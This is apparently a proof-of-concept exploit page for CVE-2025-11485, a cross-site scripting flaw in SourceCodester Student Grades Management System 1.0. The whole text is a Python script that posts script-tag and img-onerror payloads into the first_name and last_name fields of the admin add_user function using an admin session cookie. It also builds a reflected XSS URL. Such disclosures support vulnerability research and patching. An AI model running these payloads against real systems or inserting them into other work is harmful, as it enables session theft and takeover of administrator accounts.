CVE-2025-11485：SourceCodester学生成绩管理系统XSS漏洞

# CVE-2025-11485 PoC - XSS in SourceCodester Student Grades Management System 1.0 # Vulnerable endpoint: /admin.php # Vulnerable function: add_user # Vulnerable parameters: first_name, last_name import requests TARGET_URL = "http://target-site.com/admin.php" ADMIN_COOKIES = {"PHPSESSID": "admin_session_cookie_here"} # XSS payloads for first_name and last_name parameters payload_first_name = '<script>alert(document.cookie)</script>' payload_last_name = '<img src=x onerror=alert("XSS-CVE-2025-11485")>' # POST data to add_user function data = { "first_name": payload_first_name, "last_name": payload_last_name, "username": "testuser", "password": "Test@123", "user_type": "Administrator", "add": "1" } # Send the malicious request response = requests.post(TARGET_URL, data=data, cookies=ADMIN_COOKIES) if response.status_code == 200: print("[+] XSS payload submitted successfully") print("[+] When an admin views the user list, the script will execute") else: print(f"[-] Failed with status code: {response.status_code}") # Alternative: URL-based XSS payload for reflected scenarios reflected_payload = f"{TARGET_URL}?first_name=<script>alert('XSS')</script>&last_name=test" print(f"\n[+] Reflected XSS URL: {reflected_payload}")